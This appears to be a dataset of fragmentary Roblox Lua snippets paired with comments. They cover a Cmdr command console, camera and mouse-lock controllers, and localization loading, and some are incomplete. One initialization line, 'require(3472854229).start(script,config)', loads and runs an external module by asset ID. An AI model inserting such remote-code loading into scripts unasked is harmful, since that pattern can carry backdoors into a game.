L2.Value = R2.RelayOn.Value
L3.Value = R3.RelayOn.Value
L4.Value = R4.RelayOn.Value
L5.Value = R5.RelayOn.Value
until script.Enabled == false
|
-- Here be dragons |
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
return function (Cmdr)
local Util = Cmdr.Util
local Window = require(script:WaitForChild("Window"))
Window.Cmdr = Cmdr
local AutoComplete = require(script:WaitForChild("AutoComplete"))(Cmdr)
Window.AutoComplete = AutoComplete
-- Sets the Window.ProcessEntry callback so that we can dispatch our commands out
function Window.ProcessEntry(text)
text = Util.TrimString(text)
if #text == 0 then return end
Window:AddLine(Window:GetLabel() .. " " .. text, Color3.fromRGB(255, 223, 93))
Window:AddLine(Cmdr.Dispatcher:EvaluateAndRun(text, Player, {
IsHuman = true
}))
end
-- Sets the Window.OnTextChanged callback so we can update the auto complete
function Window.OnTextChanged (text)
local command = Cmdr.Dispatcher:Evaluate(text, Player, true)
local arguments = Util.SplitString(text)
local commandText = table.remove(arguments, 1)
local atEnd = false
if command then
arguments = Util.MashExcessArguments(arguments, #command.Object.Args)
atEnd = #arguments == #command.Object.Args
end
local entryComplete = commandText and #arguments > 0
if text:sub(#text, #text):match("%s") and not atEnd then
entryComplete = true
arguments[#arguments + 1] = ""
end
if command and entryComplete then
local commandValid, errorText = command:Validate()
Window:SetIsValidInput(commandValid, ("Validation errors: %s"):format(errorText or ""))
local acItems = {}
local lastArgument = command:GetArgument(#arguments)
if lastArgument then
local typedText = lastArgument.RawSegments[#lastArgument.RawSegments]
local items = lastArgument:GetAutocomplete()
for i, item in pairs(items) do
acItems[i] = {typedText, item}
end
local valid = true
if #typedText > 0 then
valid, errorText = lastArgument:Validate()
end
return AutoComplete:Show(acItems, {
at = atEnd and #text - #typedText + (text:sub(#text, #text):match("%s") and -1 or 0);
prefix = #lastArgument.RawSegments == 1 and lastArgument.Prefix or "";
isLast = #command.Arguments == #command.ArgumentDefinitions and #typedText > 0;
numArgs = #arguments;
command = command;
arg = lastArgument;
name = lastArgument.Name .. (lastArgument.Required and "" or "?");
type = lastArgument.Type.DisplayName;
description = (valid == false and errorText) or lastArgument.Object.Description;
invalid = not valid;
})
end
elseif commandText and #arguments == 0 then
Window:SetIsValidInput(true)
local exactCommand = Cmdr.Registry:GetCommand(commandText)
local exactMatch
if exactCommand then
exactMatch = {exactCommand.Name, exactCommand.Name, options = {
name = exactCommand.Name;
description = exactCommand.Description;
}}
end
local acItems = {exactMatch}
for _, cmd in pairs(Cmdr.Registry:GetCommandsAsStrings()) do
if commandText:lower() == cmd:lower():sub(1, #commandText) and (exactMatch == nil or exactMatch[1] ~= commandText) then
local commandObject = Cmdr.Registry:GetCommand(cmd)
acItems[#acItems + 1] = {commandText, cmd, options = {
name = commandObject.Name;
description = commandObject.Description;
}}
end
end
return AutoComplete:Show(acItems)
end
Window:SetIsValidInput(false, "Invalid command. Use the help command to see all available commands.")
AutoComplete:Hide()
end
Window:UpdateLabel()
Window:UpdateWindowHeight()
return {
Window = Window;
AutoComplete = AutoComplete;
}
end
|
--[=[
Extracts the locale from the name
@param localeId string -- the defaultlocaleId
@param dataTable table -- Data table to load from
@return LocalizationTable
]=] |
function JsonToLocalizationTable.loadTable(localeId, dataTable)
local localizationTable = JsonToLocalizationTable.getOrCreateLocalizationTable()
recurseAdd(localizationTable, localeId, "", dataTable)
return localizationTable
end
|
-- This script listens for RemoteEvents that will be called from the client ("Main" script) |
local Home = script.Parent
|
--[[ The Module ]] | --
local BaseCamera = {}
BaseCamera.__index = BaseCamera
function BaseCamera.new()
local self = setmetatable({}, BaseCamera)
-- So that derived classes have access to this
self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD
self.gamepadSensitivity = 1
self.cameraType = nil
self.cameraMovementMode = nil
self.lastCameraTransform = nil
self.rotateInput = ZERO_VECTOR2
self.userPanningCamera = false
self.lastUserPanCamera = tick()
self.humanoidRootPart = nil
self.humanoidCache = {}
-- Subject and position on last update call
self.lastSubject = nil
self.lastSubjectPosition = Vector3.new(0,5,0)
-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera
-- is trying to maintain, not the actual measured value.
-- The default is updated when screen orientation or the min/max distances change,
-- to be sure the default is always in range and appropriate for the orientation.
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.inFirstPerson = false
self.inMouseLockedMode = false
self.portraitMode = false
self.isSmallTouchScreen = false
-- Used by modules which want to reset the camera angle on respawn.
self.resetCameraAngle = true
self.enabled = false
-- Input Event Connections
self.inputBeganConn = nil
self.inputChangedConn = nil
self.inputEndedConn = nil
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.panEnabled = true
self.keyPanEnabled = true
self.distanceChangeEnabled = true
self.PlayerGui = nil
self.cameraChangedConn = nil
self.viewportSizeChangedConn = nil
self.boundContextActions = {}
-- VR Support
self.shouldUseVRRotation = false
self.VRRotationIntensityAvailable = false
self.lastVRRotationIntensityCheckTime = 0
self.lastVRRotationTime = 0
self.vrRotateKeyCooldown = {}
self.cameraTranslationConstraints = Vector3.new(1, 1, 1)
self.humanoidJumpOrigin = nil
self.trackingHumanoid = nil
self.cameraFrozen = false
self.subjectStateChangedConn = nil
-- Gamepad support
self.activeGamepad = nil
self.gamepadPanningCamera = false
self.lastThumbstickRotate = nil
self.numOfSeconds = 0.7
self.currentSpeed = 0
self.maxSpeed = 6
self.vrMaxSpeed = 4
self.lastThumbstickPos = Vector2.new(0,0)
self.ySensitivity = 0.65
self.lastVelocity = nil
self.gamepadConnectedConn = nil
self.gamepadDisconnectedConn = nil
self.currentZoomSpeed = 1.0
self.L3ButtonDown = false
self.dpadLeftDown = false
self.dpadRightDown = false
-- Touch input support
self.isDynamicThumbstickEnabled = false
self.fingerTouches = {}
self.dynamicTouchInput = nil
self.numUnsunkTouches = 0
self.inputStartPositions = {}
self.inputStartTimes = {}
self.startingDiff = nil
self.pinchBeginZoom = nil
self.userPanningTheCamera = false
self.touchActivateConn = nil
-- Mouse locked formerly known as shift lock mode
self.mouseLockOffset = ZERO_VECTOR3
-- [[ NOTICE ]] --
-- Initialization things used to always execute at game load time, but now these camera modules are instantiated
-- when needed, so the code here may run well after the start of the game
if player.Character then
self:OnCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end
self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
self:OnCurrentCameraChanged()
end)
self:OnCurrentCameraChanged()
if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end
self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end
self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end
self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end
self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
self:OnDevTouchMovementModeChanged()
end)
self:OnDevTouchMovementModeChanged() -- Init
if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end
self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
self:OnGameSettingsTouchMovementModeChanged()
end)
self:OnGameSettingsTouchMovementModeChanged() -- Init
UserGameSettings:SetCameraYInvertVisible()
UserGameSettings:SetGamepadCameraSensitivityVisible()
self.hasGameLoaded = game:IsLoaded()
if not self.hasGameLoaded then
self.gameLoadedConn = game.Loaded:Connect(function()
self.hasGameLoaded = true
self.gameLoadedConn:Disconnect()
self.gameLoadedConn = nil
end)
end
self:OnPlayerCameraPropertyChange()
return self
end
function BaseCamera:GetModuleName()
return "BaseCamera"
end
function BaseCamera:OnCharacterAdded(char)
self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()
self.humanoidRootPart = nil
if UserInputService.TouchEnabled then
self.PlayerGui = player:WaitForChild("PlayerGui")
for _, child in ipairs(char:GetChildren()) do
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end
char.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end)
char.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = false
end
end)
end
end
function BaseCamera:GetHumanoidRootPart()
if not self.humanoidRootPart then
if player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidRootPart = humanoid.RootPart
end
end
end
return self.humanoidRootPart
end
function BaseCamera:GetBodyPartToFollow(humanoid, isDead)
-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid
if humanoid:GetState() == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character and character:IsA("Model") then
return character:FindFirstChild("Head") or humanoid.RootPart
end
end
return humanoid.RootPart
end
function BaseCamera:GetSubjectPosition()
local result = self.lastSubjectPosition
local camera = game.Workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectPosition
else
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset
if humanoid.RigType == Enum.HumanoidRigType.R15 then
if humanoid.AutomaticScalingEnabled then
heightOffset = R15_HEAD_OFFSET
if bodyPartToFollow == humanoid.RootPart then
local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2)
heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)
end
else
heightOffset = R15_HEAD_OFFSET_NO_SCALING
end
else
heightOffset = HEAD_OFFSET
end
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)
end
end
elseif cameraSubject:IsA("VehicleSeat") then
local offset = SEAT_OFFSET
if VRService.VREnabled then
offset = VR_SEAT_OFFSET
end
result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA("SkateboardPlatform") then
result = cameraSubject.CFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame.p
elseif cameraSubject:IsA("Model") then
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame().p
else
result = cameraSubject:GetModelCFrame().p
end
end
else
-- cameraSubject is nil
-- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition
-- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the
-- last set valid values for these, as nil values are not handled cases
return
end
self.lastSubject = cameraSubject
self.lastSubjectPosition = result
return result
end
function BaseCamera:UpdateDefaultSubjectDistance()
if self.portraitMode then
self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
else
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
end
end
function BaseCamera:OnViewportSizeChanged()
local camera = game.Workspace.CurrentCamera
local size = camera.ViewportSize
self.portraitMode = size.X < size.Y
self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700)
self:UpdateDefaultSubjectDistance()
end
|
--/ Initialization /-- |
require(3472854229).start(script,config)
|
--[[ Local Functions ]] | --
function MouseLockController:OnMouseLockToggled()
self.isMouseLocked = not self.isMouseLocked
if self.isMouseLocked then
local cursorImageValueObj = script:FindFirstChild("CursorImage")
if cursorImageValueObj and cursorImageValueObj:IsA("StringValue") and cursorImageValueObj.Value then
self.savedMouseCursor = Mouse.Icon
Mouse.Icon = cursorImageValueObj.Value
else
if cursorImageValueObj then
cursorImageValueObj:Destroy()
end
cursorImageValueObj = Instance.new("StringValue")
cursorImageValueObj.Name = "CursorImage"
cursorImageValueObj.Value = DEFAULT_MOUSE_LOCK_CURSOR
cursorImageValueObj.Parent = script
self.savedMouseCursor = Mouse.Icon
Mouse.Icon = DEFAULT_MOUSE_LOCK_CURSOR
end
else
if self.savedMouseCursor then
Mouse.Icon = self.savedMouseCursor
self.savedMouseCursor = nil
end
end
self.mouseLockToggledEvent:Fire()
end
function MouseLockController:DoMouseLockSwitch(name, state, input)
if state == Enum.UserInputState.Begin then
self:OnMouseLockToggled()
return Enum.ContextActionResult.Sink
end
return Enum.ContextActionResult.Pass
end
function MouseLockController:BindContextActions()
ContextActionService:BindActionAtPriority(CONTEXT_ACTION_NAME, function(name, state, input)
return self:DoMouseLockSwitch(name, state, input)
end, false, MOUSELOCK_ACTION_PRIORITY, unpack(self.boundKeys))
end
function MouseLockController:UnbindContextActions()
ContextActionService:UnbindAction(CONTEXT_ACTION_NAME)
end
function MouseLockController:IsMouseLocked()
return self.enabled and self.isMouseLocked
end
function MouseLockController:EnableMouseLock(enable)
if enable ~= self.enabled then
self.enabled = enable
if self.enabled then
-- Enabling the mode
self:BindContextActions()
else
-- Disabling
-- Restore mouse cursor
if Mouse.Icon~="" then
Mouse.Icon = ""
end
self:UnbindContextActions()
-- If the mode is disabled while being used, fire the event to toggle it off
if self.isMouseLocked then
self.mouseLockToggledEvent:Fire()
end
self.isMouseLocked = false
end
end
end
return MouseLockController
|
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